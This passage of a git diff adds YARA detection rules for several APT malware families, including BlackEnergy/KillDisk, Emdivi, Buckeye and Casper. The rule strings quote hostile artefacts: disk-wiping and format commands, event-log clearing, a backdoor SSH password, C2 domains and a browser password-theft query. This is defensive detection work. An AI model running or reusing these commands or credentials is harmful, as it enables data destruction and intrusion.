+		hash1 = "032df812a68852b6f3822b9eac4435e531ca85bdaf3ee99c669134bd16e72820"
+		hash2 = "e30933fcfc9c2a7443ee2f23a3df837ca97ea5653da78f782e2884e5a7b734f7"
+		hash3 = "ebb9c4f7058e19b006450b8162910598be90428998df149977669e61a0b7b9ed"
+		hash4 = "6db2ffe7ec365058f9d3b48dcca509507c138f19ade1adb5f13cf43ea0623813"
+	strings:
+		$x1 = "\\\\%s\\admin$\\system32\\%s" fullword ascii
+
+		$s1 = "123.exe" fullword ascii
+		$s2 = "regclean.exe" fullword ascii
+		$s3 = "192.168.88.69" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and $x1 and 1 of ($s*)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_between-hk-and-burma.yar b/yara-mikesxrs/Florian Roth/apt_between-hk-and-burma.yar
new file mode 100644
index 0000000..b2571e7
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_between-hk-and-burma.yar	
@@ -0,0 +1,215 @@
+rule dubseven_file_set
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for service files loading UP007"
+
+	strings:
+		$file1 = "\\Microsoft\\Internet Explorer\\conhost.exe"
+		$file2 = "\\Microsoft\\Internet Explorer\\dll2.xor"
+		$file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL"
+		$file4 = "\\Microsoft\\Internet Explorer\\main.dll"
+		$file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe"
+		$file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll"
+		$file7 = "\\Microsoft\\Internet Explorer\\mon"
+		$file8 = "\\Microsoft\\Internet Explorer\\runas.exe"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		//Just a few of these as they differ
+		3 of ($file*)
+}
+
+rule dubseven_dropper_registry_checks
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for registry keys checked for by the dropper"
+
+	strings:
+		$reg1 = "SOFTWARE\\360Safe\\Liveup"
+		$reg2 = "Software\\360safe"
+		$reg3 = "SOFTWARE\\kingsoft\\Antivirus"
+		$reg4 = "SOFTWARE\\Avira\\Avira Destop"
+		$reg5 = "SOFTWARE\\rising\\RAV"
+		$reg6 = "SOFTWARE\\JiangMin"
+		$reg7 = "SOFTWARE\\Micropoint\\Anti-Attack"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		all of ($reg*)
+}
+
+rule dubseven_dropper_dialog_remains
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for related dialog remnants. How rude."
+
+	strings:
+		$dia1 = "fuckMessageBox 1.0" wide
+		$dia2 = "Rundll 1.0" wide
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		any of them
+}
+
+
+rule maindll_mutex
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Matches on the maindll mutex"
+
+	strings:
+		$mutex = "h31415927tttt"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$mutex
+}
+
+
+rule SLServer_dialog_remains
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks / modified by Florian Roth"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for related dialog remnants."
+
+	strings:
+		$slserver = "SLServer" wide fullword
+
+		$fp1 = "Dell Inc." wide fullword
+		$fp2 = "ScriptLogic Corporation" wide
+
+		$extra1 = "SLSERVER" wide fullword
+		$extra2 = "\\SLServer.pdb" ascii
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		// Reduce false positives
+		not 1 of ($fp*) and
+		1 of ($extra*) and
+
+		$slserver
+}
+
+rule SLServer_mutex
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for the mutex."
+
+	strings:
+		$mutex = "M&GX^DSF&DA@F"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$mutex
+}
+
+rule SLServer_command_and_control
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for the C2 server."
+
+	strings:
+		$c2 = "safetyssl.security-centers.com"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$c2
+}
+
+rule SLServer_campaign_code
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for the related campaign code."
+
+	strings:
+		$campaign = "wthkdoc0106"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$campaign
+}
+
+rule SLServer_unknown_string
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for a unique string."
+
+	strings:
+		$string = "test-b7fa835a39"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$string
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_blackenergy.yar b/yara-mikesxrs/Florian Roth/apt_blackenergy.yar
new file mode 100644
index 0000000..ab8462b
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_blackenergy.yar	
@@ -0,0 +1,171 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-02-19
+	Identifier: BlackEnergy Malware
+*/
+
+rule BlackEnergy_BE_2 {
+   meta:
+      description = "Detects BlackEnergy 2 Malware"
+      author = "Florian Roth"
+      reference = "http://goo.gl/DThzLz"
+      date = "2015/02/19"
+      hash = "983cfcf3aaaeff1ad82eb70f77088ad6ccedee77"
+   strings:
+      $s0 = "<description> Windows system utility service  </description>" fullword ascii
+      $s1 = "WindowsSysUtility - Unicode" fullword wide
+      $s2 = "msiexec.exe" fullword wide
+      $s3 = "WinHelpW" fullword ascii
+      $s4 = "ReadProcessMemory" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 250KB and all of ($s*)
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-03
+	Identifier: BlackEnergy Malware
+*/
+
+rule BlackEnergy_VBS_Agent {
+	meta:
+		description = "Detects VBS Agent from BlackEnergy Report - file Dropbearrun.vbs"
+		author = "Florian Roth"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		hash = "b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f"
+	strings:
+		$s0 = "WshShell.Run \"dropbear.exe -r rsa -d dss -a -p 6789\", 0, false" fullword ascii
+		$s1 = "WshShell.CurrentDirectory = \"C:\\WINDOWS\\TEMP\\Dropbear\\\"" fullword ascii
+		$s2 = "Set WshShell = CreateObject(\"WScript.Shell\")" fullword ascii /* Goodware String - occured 1 times */
+	condition:
+		filesize < 1KB and 2 of them
+}
+
+rule DropBear_SSH_Server {
+	meta:
+		description = "Detects DropBear SSH Server (not a threat but used to maintain access)"
+		author = "Florian Roth"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		score = 50
+		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
+	strings:
+		$s1 = "Dropbear server v%s https://matt.ucc.asn.au/dropbear/dropbear.html" fullword ascii
+		$s2 = "Badly formatted command= authorized_keys option" fullword ascii
+		$s3 = "This Dropbear program does not support '%s' %s algorithm" fullword ascii
+		$s4 = "/etc/dropbear/dropbear_dss_host_key" fullword ascii
+		$s5 = "/etc/dropbear/dropbear_rsa_host_key" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
+
+rule BlackEnergy_BackdoorPass_DropBear_SSH {
+	meta:
+		description = "Detects the password of the backdoored DropBear SSH Server - BlackEnergy"
+		author = "Florian Roth"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
+	strings:
+		$s1 = "passDs5Bu9Te7" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $s1
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule BlackEnergy_KillDisk_1 {
+	meta:
+		description = "Detects KillDisk malware from BlackEnergy"
+		author = "Florian Roth"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		score = 80
+		super_rule = 1
+		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
+		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
+		hash3 = "c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d"
+		hash4 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
+	strings:
+		$s0 = "system32\\cmd.exe" fullword ascii
+		$s1 = "system32\\icacls.exe" fullword wide
+		$s2 = "/c del /F /S /Q %c:\\*.*" fullword ascii
+		$s3 = "shutdown /r /t %d" fullword ascii
+		$s4 = "/C /Q /grant " fullword wide
+		$s5 = "%08X.tmp" fullword ascii
+		$s6 = "/c format %c: /Y /X /FS:NTFS" fullword ascii
+		$s7 = "/c format %c: /Y /Q" fullword ascii
+		$s8 = "taskhost.exe" fullword wide /* Goodware String - occured 1 times */
+		$s9 = "shutdown.exe" fullword wide /* Goodware String - occured 1 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 8 of them
+}
+
+rule BlackEnergy_KillDisk_2 {
+	meta:
+		description = "Detects KillDisk malware from BlackEnergy"
+		author = "Florian Roth"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		score = 80
+		super_rule = 1
+		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
+		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
+		hash3 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
+	strings:
+		$s0 = "%c:\\~tmp%08X.tmp" fullword ascii
+		$s1 = "%s%08X.tmp" fullword ascii
+		$s2 = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" fullword wide
+		$s3 = "%ls_%ls_%ls_%d.~tmp" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 3 of them
+}
+
+rule BlackEnergy_Driver_USBMDM {
+	meta:
+		description = "Auto-generated rule - from files 7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094, b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a, edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281"
+		author = "Florian Roth"
+		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
+		date = "2016-01-04"
+		super_rule = 1
+		hash1 = "7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094"
+		hash2 = "b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a"
+		hash3 = "edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281"
+		hash4 = "ac13b819379855af80ea3499e7fb645f1c96a4a6709792613917df4276c583fc"
+		hash5 = "7a393b3eadfc8938cbecf84ca630e56e37d8b3d23e084a12ea5a7955642db291"
+		hash6 = "405013e66b6f137f915738e5623228f36c74e362873310c5f2634ca2fda6fbc5"
+		hash7 = "244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5"
+		hash8 = "edcd1722fdc2c924382903b7e4580f9b77603110e497393c9947d45d311234bf"
+	strings:
+		$s1 = "USB MDM Driver" fullword wide
+		$s2 = "KdDebuggerNotPresent" fullword ascii /* Goodware String - occured 50 times */
+		$s3 = "KdDebuggerEnabled" fullword ascii /* Goodware String - occured 69 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule BlackEnergy_Driver_AMDIDE {
+	meta:
+		description = "Auto-generated rule - from files 32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614, 3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2, 90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c, 97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1"
+		author = "Florian Roth"
+		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
+		date = "2016-01-04"
+		super_rule = 1
+		hash1 = "32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614"
+		hash2 = "3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2"
+		hash3 = "90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c"
+		hash4 = "97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1"
+		hash5 = "5111de45210751c8e40441f16760bf59856ba798ba99e3c9532a104752bf7bcc"
+		hash6 = "cbc4b0aaa30b967a6e29df452c5d7c2a16577cede54d6d705ca1f095bd6d4988"
+		hash7 = "1ce0dfe1a6663756a32c69f7494ad082d293d32fe656d7908fb445283ab5fa68"
+	strings:
+		$s1 = " AMD IDE driver" fullword wide
+		$s2 = "SessionEnv" fullword wide
+		$s3 = "\\DosDevices\\{C9059FFF-1C49-4445-83E8-" wide
+		$s4 = "\\Device\\{C9059FFF-1C49-4445-83E8-" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_blackenergy_installer.yar b/yara-mikesxrs/Florian Roth/apt_blackenergy_installer.yar
new file mode 100644
index 0000000..dd85ed6
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_blackenergy_installer.yar	
@@ -0,0 +1,15 @@
+
+rule blackenergy3_installer
+{
+	meta:
+		author = "Mike Schladt"
+		date = "2015-05-29"
+		description = "Matches unique code block for import name construction "
+		md5 = "78387651DD9608FCDF6BFB9DF8B84DB4"
+		sha1 = "78636F7BBD52EA80D79B4E2A7882403092BBB02D"
+		reference  = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
+	strings:
+		$import_names = { C7 45 D0 75 73 65 72 C7 45 D4 33 32 2E 64 66 C7 45 D8 6C 6C 88 5D DA C7 45 84 61 64 76 61 C7 45 88 70 69 33 32 C7 45 8C 2E 64 6C 6C 88 5D 90 C7 45 B8 77 69 6E 69 C7 45 BC 6E 65 74 2E C7 45 C0 64 6C 6C 00 C7 45 C4 77 73 32 5F C7 45 C8 33 32 2E 64 66 C7 45 CC 6C 6C 88 5D CE C7 45 94 73 68 65 6C C7 45 98 6C 33 32 2E C7 45 9C 64 6C 6C 00 C7 45 E8 70 73 61 70 C7 45 EC 69 2E 64 6C 66 C7 45 F0 6C 00 C7 85 74 FF FF FF 6E 65 74 61 C7 85 78 FF FF FF 70 69 33 32 C7 85 7C FF FF FF 2E 64 6C 6C 88 5D 80 C7 85 64 FF FF FF 6F 6C 65 61 C7 85 68 FF FF FF 75 74 33 32 C7 85 6C FF FF FF 2E 64 6C 6C 88 9D 70 FF FF FF C7 45 DC 6F 6C 65 33 C7 45 E0 32 2E 64 6C 66 C7 45 E4 6C 00 C7 45 A0 76 65 72 73 C7 45 A4 69 6F 6E 2E C7 45 A8 64 6C 6C 00 C7 85 54 FF FF FF 69 6D 61 67 C7 85 58 FF FF FF 65 68 6C 70 C7 85 5C FF FF FF 2E 64 6C 6C 88 9D 60 FF FF FF C7 45 AC 61 70 70 68 C7 45 B0 65 6C 70 2E C7 45 B4 64 6C 6C 00 C7 45 F4 2E 64 6C 6C 88 5D F8 }            
+	condition : 
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_bluetermite_emdivi.yar b/yara-mikesxrs/Florian Roth/apt_bluetermite_emdivi.yar
new file mode 100644
index 0000000..e4d1c92
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_bluetermite_emdivi.yar	
@@ -0,0 +1,136 @@
+
+/*
+	Yara Rule Set
+	Author: Florian Roth @Cyber0ps
+	Date: 2015-08-20
+	Identifier: Emdivi
+*/
+
+rule Emdivi_SFX {
+	meta:
+		description = "Detects Emdivi malware in SFX Archive"
+		author = "Florian Roth @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		score = 70
+		hash1 = "7a3c81b2b3c14b9cd913692347019887b607c54152b348d6d3ccd3ecfd406196"
+		hash2 = "8c3df4e4549db3ce57fc1f7b1b2dfeedb7ba079f654861ca0b608cbfa1df0f6b"
+	strings:
+		$x1 = "Setup=unsecess.exe" fullword ascii
+		$x2 = "Setup=leassnp.exe" fullword ascii
+
+		$s1 = "&Enter password for the encrypted file:" fullword wide
+		$s2 = ";The comment below contains SFX script commands" fullword ascii
+		$s3 = "Path=%temp%" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 740KB and (1 of ($x*) and all of ($s*))
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Emdivi_Gen1 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		score = 80
+		super_rule = 1
+		hash1 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
+		hash2 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
+		hash3 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
+		hash4 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
+	strings:
+		$x1 = "wmic nteventlog where filename=\"SecEvent\" call cleareventlog" fullword wide
+		$x2 = "del %Temp%\\*.exe %Temp%\\*.dll %Temp%\\*.bat %Temp%\\*.ps1 %Temp%\\*.cmd /f /q" fullword wide
+		$x3 = "userControl-v80.exe" fullword ascii
+
+		$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword wide
+		$s2 = "http://www.msftncsi.com" fullword wide
+		$s3 = "net use | find /i \"c$\"" fullword wide
+		$s4 = " /del /y & " fullword wide
+		$s5 = "\\auto.cfg" fullword wide
+		$s6 = "/ncsi.txt" fullword wide
+		$s7 = "Dcmd /c" fullword wide
+		$s8 = "/PROXY" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule Emdivi_Gen2 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		super_rule = 1
+		score = 80
+		hash1 = "9a351885bf5f6fec466f30021088504d96e9db10309622ed198184294717add1"
+		hash2 = "a5be7cb1f37030c9f9211c71e0fbe01dae19ff0e6560c5aab393621f18a7d012"
+		hash3 = "9183abb9b639699cd2ad28d375febe1f34c14679b7638d1a79edb49d920524a4"
+	strings:
+		$s1 = "%TEMP%\\IELogs\\" fullword ascii
+		$s2 = "MSPUB.EXE" fullword ascii
+		$s3 = "%temp%\\" fullword ascii
+		$s4 = "\\NOTEPAD.EXE" fullword ascii
+		$s5 = "%4d-%02d-%02d %02d:%02d:%02d " fullword ascii
+		$s6 = "INTERNET_OPEN_TYPE_PRECONFIG" fullword ascii
+		$s7 = "%4d%02d%02d%02d%02d%02d" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1300KB and 6 of them
+}
+
+rule Emdivi_Gen3 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		super_rule = 1
+		score = 80
+		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
+		hash2 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
+	strings:
+		$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword ascii
+
+		$s2 = "\\Mozilla\\Firefox\\Profiles\\" fullword ascii
+		$s4 = "\\auto.cfg" fullword ascii
+		$s5 = "/ncsi.txt" fullword ascii
+		$s6 = "/en-us/default.aspx" fullword ascii
+		$s7 = "cmd /c" fullword ascii
+		$s9 = "APPDATA" fullword ascii /* Goodware String - occured 25 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 850KB and
+		(
+			( $x1 and 1 of ($s*) ) or
+			( 4 of ($s*) )
+		)
+}
+
+rule Emdivi_Gen4 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		super_rule = 1
+		score = 80
+		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
+		hash2 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
+		hash3 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
+		hash4 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
+		hash5 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
+		hash6 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
+	strings:
+		$s1 = ".http_port\", " fullword wide
+		$s2 = "UserAgent: " fullword ascii
+		$s3 = "AUTH FAILED" fullword ascii
+		$s4 = "INVALID FILE PATH" fullword ascii
+		$s5 = ".autoconfig_url\", \"" fullword wide
+		$s6 = "FAILED TO WRITE FILE" fullword ascii
+		$s7 = ".proxy" fullword wide
+		$s8 = "AuthType: " fullword ascii
+		$s9 = ".no_proxies_on\", \"" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 853KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_buckeye.yar b/yara-mikesxrs/Florian Roth/apt_buckeye.yar
new file mode 100644
index 0000000..4df8a7c
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_buckeye.yar	
@@ -0,0 +1,68 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-05
+	Identifier: Buckeye
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Buckeye_Osinfo {
+	meta:
+		description = "Detects OSinfo tool used by the Buckeye APT group"
+		author = "Florian Roth"
+		reference = "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+		date = "2016-09-05"
+	strings:
+		$s1 = "-s ShareInfo ShareDir" fullword ascii
+		$s2 = "-a Local And Global Group User Info" fullword ascii
+		$s3 = "-f <infile> //input server list from infile, OneServerOneLine" fullword ascii
+		$s4 = "info <\\server> <user>" fullword ascii
+		$s5 = "-c Connect Test" fullword ascii
+		$s6 = "-gd Group Domain Admins" fullword ascii
+		$s7 = "-n NetuseInfo" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and 3 of ($s*)
+}
+
+rule RemoteCmd {
+	meta:
+		description = "Detects a remote access tool used by APT groups - file RemoteCmd.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "5264d1de687432f8346617ac88ffcb31e025e43fc3da1dad55882b17b44f1f8b"
+	strings:
+		$s1 = "RemoteCmd.exe" fullword wide
+		$s2 = "\\Release\\RemoteCmd.pdb" fullword ascii
+		$s3 = "RemoteCmd [ComputerName] [Executable] [Param1] [Param2] ..." fullword wide
+		$s4 = "http://{0}:65101/CommandEngine" fullword wide
+		$s5 = "Brenner.RemoteCmd.Client" fullword ascii
+		$s6 = "$b1888995-1ee5-4f6d-82df-d2ab8ae73d63" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 50KB and 2 of them ) or ( 4 of them )
+}
+
+rule ChromePass {
+	meta:
+		description = "Detects a tool used by APT groups - file ChromePass.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "5ff43049ae18d03dcc74f2be4a870c7056f6cfb5eb636734cca225140029de9a"
+	strings:
+		$x1 = "\\Release\\ChromePass.pdb" fullword ascii
+		$x2 = "Windows Protect folder for getting the encryption keys" wide
+		$x3 = "Chrome User Data folder where the password file is stored" wide
+
+		$s1 = "Opera Software\\Opera Stable\\Login Data" fullword wide
+		$s2 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword wide
+		$s3 = "Load the passwords from another Windows user or external drive: " fullword wide
+		$s4 = "Chrome Passwords List!Select the windows profile folder" fullword wide
+		$s5 = "Load the passwords of the current logged-on user" fullword wide
+		$s6 = "Windows Login Password:" fullword wide
+		$s7 = "SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created fr" ascii
+		$s8 = "Chrome Password Recovery" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 700KB and 1 of ($x*) ) or ( 5 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_casper.yar b/yara-mikesxrs/Florian Roth/apt_casper.yar
new file mode 100644
index 0000000..a5955d9
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_casper.yar	
@@ -0,0 +1,97 @@
+
+/* State-sponsored Casper Malware Rules by @4nc4p - attribution and analysis by @pinkflawd @r00tbsd @circl_lu */
+
+rule Casper_Backdoor_x86 {
+	meta:
+		description = "Casper French Espionage Malware - Win32/ProxyBot.B - x86 Payload http://goo.gl/VRJNLo"
+		author = "Florian Roth"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/05"
+		hash = "f4c39eddef1c7d99283c7303c1835e99d8e498b0"
+		score = 80
+	strings:
+		$s1 = "\"svchost.exe\"" fullword wide
+		$s2 = "firefox.exe" fullword ascii
+		$s3 = "\"Host Process for Windows Services\"" fullword wide
+		
+		$x1 = "\\Users\\*" fullword ascii
+		$x2 = "\\Roaming\\Mozilla\\Firefox\\Profiles\\*" fullword ascii
+		$x3 = "\\Mozilla\\Firefox\\Profiles\\*" fullword ascii
+		$x4 = "\\Documents and Settings\\*" fullword ascii
+		
+		$y1 = "%s; %S=%S" fullword wide
+		$y2 = "%s; %s=%s" fullword ascii
+		$y3 = "Cookie: %s=%s" fullword ascii
+		$y4 = "http://%S:%d" fullword wide
+		
+		$z1 = "http://google.com/" fullword ascii
+		$z2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)" fullword ascii
+		$z3 = "Operating System\"" fullword wide
+	condition:
+		( all of ($s*) ) or
+		( 3 of ($x*) and 2 of ($y*) and 2 of ($z*) )
+}
+
+rule Casper_EXE_Dropper {
+	meta:
+		description = "Casper French Espionage Malware - Win32/ProxyBot.B - Dropper http://goo.gl/VRJNLo"
+		author = "Florian Roth"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/05"
+		hash = "e4cc35792a48123e71a2c7b6aa904006343a157a"
+		score = 80
+	strings:
+		$s0 = "<Command>" fullword ascii
+		$s1 = "</Command>" fullword ascii
+		$s2 = "\" /d \"" fullword ascii
+		$s4 = "'%s' %s" fullword ascii
+		$s5 = "nKERNEL32.DLL" fullword wide
+		$s6 = "@ReturnValue" fullword wide
+		$s7 = "ID: 0x%x" fullword ascii
+		$s8 = "Name: %S" fullword ascii
+	condition:
+		7 of them
+}
+
+rule Casper_Included_Strings {
+	meta:
+		description = "Casper French Espionage Malware - String Match in File - http://goo.gl/VRJNLo"
+		author = "Florian Roth"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/06"
+		score = 50
+	strings:
+		$a0 = "cmd.exe /C FOR /L %%i IN (1,1,%d) DO IF EXIST"
+		$a1 = "& SYSTEMINFO) ELSE EXIT"
+		
+		$mz = { 4d 5a }
+		$c1 = "domcommon.exe" wide fullword							// File Name
+		$c2 = "jpic.gov.sy" fullword 								// C2 Server
+		$c3 = "aiomgr.exe" wide fullword							// File Name
